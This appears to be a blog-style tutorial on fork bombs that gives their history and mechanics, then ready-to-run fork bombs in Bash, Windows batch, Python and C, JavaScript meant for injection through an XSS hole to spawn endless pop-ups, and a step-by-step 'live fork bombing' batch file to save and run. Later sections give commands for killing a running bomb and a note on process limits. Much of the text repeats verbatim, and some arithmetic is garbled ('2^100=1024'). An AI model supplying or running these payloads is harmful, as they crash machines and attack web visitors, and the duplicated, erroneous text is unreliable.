FORK BOMB (also called WABBIT OR RABBIT VIRUS) is equivalent to a denial-of-service attack on your own system. It aims at depriving the system off its RAM (Random Access Memory), leaving none for vital action required to keep the system running,hence cracking it wherein a process continually replicates itself to deplete available system resources, causing and slowing or crashing the system it’s just a 5 characters long, the fork bomb is not deadly to the computer, just annoying.
History
The first version of a fork bomb called wabbit was reported to run on a system/360 in 1978. It have derived from a similar attack called RABBITS reported from 1969 at the University of Washington.
IMPLEMENTATION & OPERATION
Fork bombs operate by consuming CPU time in the process of forking (it is an operation whereby aprocess creates a copy of itself. It is usually a system call implemented in the kernel Fork is the primary method of process creation on Unix-like operating systems.) , and by saturating the operating system process table.
A basic implementation of a fork bomb is an infinite loop that repeatedly launches the same process.
Every Program doubling itself is a form of exponential growth. After one iteration of the loop, two programs are created. After Another cycle each of these create other two for a total of four same programs after 10 iteration we have 2^10 =1024 programs after 100 iterations we have 2^100=1024 programs. After 100 iterations we have 2^100=1.267 nonillion
Even with Today’s CPUs and RAMs being in Giga Range, the first program will probably not even complete 50 iterations before running out of memory.
Every iteration would take around a few milliseconds, so running it will definitely crash the computer
In UNIX operating systems, fork bombs are generally written to use the fork system call. As forked processes are also copies of the first program, once they resume execution from the next address the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern UNIX systems generally use copy-on-write when forking new processes, a fork bomb generally will not saturate such a system's memory.
Microsoft Windows operating systems do not have equivalent functionality to the UNIX fork system call a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.
Every Program doubling itself is a form of exponential growth. After one iteration of the loop, two programs are created. After Another cycle each of these create other two for a total of four same programs after 10 iteration we have 2^10 =1024 programs after 100 iterations we have 2^100=1024 programs. After 100 iterations we have 2^100=1.267 nonillion
Even with Today’s CPUs and RAMs being in Giga Range, the first program will probably not even complete 50 iterations before running out of memory.
Every iteration would take around a few milliseconds, so running it will definitely crash the computer
In UNIX operating systems, fork bombs are generally written to use the fork system call. As forked processes are also copies of the first program, once they resume execution from the next address the frame pointer, they also seek to create a copy of themselves; this has the effect of causing an exponential growth in processes. As modern UNIX systems generally use copy-on-write when forking new processes, a fork bomb generally will not saturate such a system's memory.
Microsoft Windows operating systems do not have equivalent functionality to the UNIX fork system call a fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.
How to do fork bombing in different operating system???
A fork bomb using the BASH (A Terminal used in LINUX) shell:
:(){ :|:& };:
:(){ :|:& };:
A fork bomb using the Microsoft windows:
:s
Start "" %0
goto s
The same as above, but shorter:
%0|%0
:s
Start "" %0
goto s
The same as above, but shorter:
%0|%0
Using Python:
import os
while True:
os.fork()
import os
while True:
os.fork()
USING C:
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
#include <unistd.h>
int main(void)
{
while(1)
fork();
}
JAVA SCRIPT code that can be injected into a Web page via an XSS vulnerability exploit, resulting in a series of infinitely forking pop-up windows:
<script>
while (true) {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
Or, a more aggressive version:
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
<script>
while (true) {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
Or, a more aggressive version:
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
LIVE FORK BOMBING
Step 1: Copy the following code in notepad:
@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
Pause
Step2 : Save it with a file extension .bat
Step3: Run it …..
@echo off
set name=%0
set clone=1
:start
:clone
If not exist clone%clone%.bat (
copy "%name%" "clone%clone%.bat"
) else (
set /a clone=%clone%+1
GoTo clone
)
start %name%
start clone%clone%.bat
GoTo start
Pause
Step2 : Save it with a file extension .bat
Step3: Run it …..
DISADVANTAGES
Fork bombs are really very difficult to stop once started. Stopping a fork bomb from reproducing further requires stopping of all running copies, which is really very difficult to achieve.
The second major problem is that in the time taken between finding the processes to terminate and actually terminating them, more may have been created.
Some fork bombs can be stopped relatively easily.
:(){ :|: & };:
By replacing the function identifier: by bomb and re-indenting, the code reads:
bomb() {
bomb | bomb &
};
bomb
Fork bomb is a function that can run in the background, (&) ensures that the child process does not die and keeps forking new copies of the function and result in consuming system resources.
A “feature" in this code means that a fork bomb process no longer fork doesn't stick , but rather exits. In such a situation, if we try to run a new process, one will successfully start. If the new process does nothing,. At this point the do-nothing processes can exit. The following short code might get rid of the above fork bomb in about a minute.
While (sleep 100 &) do; done
Alternatively, stopping ("freezing") the bomb's processes can be used so that a subsequent can terminate them without any of the parts re-replicating due to newly available process slots:
killall -STOP processWithBombName
killall -KILL processWithBombName
When a system is low on free PIDS (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:
$ killall -9 processWithBombName
Bash: fork: Cannot allocate memory
In this case, defusing the fork bomb is only possible if at least one shell is open. Processes may not be forked, but one can execve() any program from the current shell. Typically, only one attempt is possible.
killall -9 is not executed directly from the shell because the command is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So one must launch a couple of killall processes, for example:
while :; do killall -9 processWithBombName; done
On LINUX because the process table is made accessible through the /proc file system, it is possible to defuse the fork bomb using bash built-ins which do not require forking new processes. The following example identifies offending processes, and suspends them in order to prevent their continuing to fork while they are killed one at a time. This avoids the race condition of other examples, which can fail if the offending processes can fork faster than they are killed.
cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done
The second major problem is that in the time taken between finding the processes to terminate and actually terminating them, more may have been created.
Some fork bombs can be stopped relatively easily.
:(){ :|: & };:
By replacing the function identifier: by bomb and re-indenting, the code reads:
bomb() {
bomb | bomb &
};
bomb
Fork bomb is a function that can run in the background, (&) ensures that the child process does not die and keeps forking new copies of the function and result in consuming system resources.
A “feature" in this code means that a fork bomb process no longer fork doesn't stick , but rather exits. In such a situation, if we try to run a new process, one will successfully start. If the new process does nothing,. At this point the do-nothing processes can exit. The following short code might get rid of the above fork bomb in about a minute.
While (sleep 100 &) do; done
Alternatively, stopping ("freezing") the bomb's processes can be used so that a subsequent can terminate them without any of the parts re-replicating due to newly available process slots:
killall -STOP processWithBombName
killall -KILL processWithBombName
When a system is low on free PIDS (in Linux the maximum number of pids can be obtained from /proc/sys/kernel/pid_max), defusing a fork bomb becomes more difficult:
$ killall -9 processWithBombName
Bash: fork: Cannot allocate memory
In this case, defusing the fork bomb is only possible if at least one shell is open. Processes may not be forked, but one can execve() any program from the current shell. Typically, only one attempt is possible.
killall -9 is not executed directly from the shell because the command is not atomic and doesn't hold locks on the process list, so by the time it finishes the fork bomb will advance some generations ahead. So one must launch a couple of killall processes, for example:
while :; do killall -9 processWithBombName; done
On LINUX because the process table is made accessible through the /proc file system, it is possible to defuse the fork bomb using bash built-ins which do not require forking new processes. The following example identifies offending processes, and suspends them in order to prevent their continuing to fork while they are killed one at a time. This avoids the race condition of other examples, which can fail if the offending processes can fork faster than they are killed.
cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done
Preventive measures
The fork bomb's mode of operation is entirely encapsulated by creating new processes; one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own.
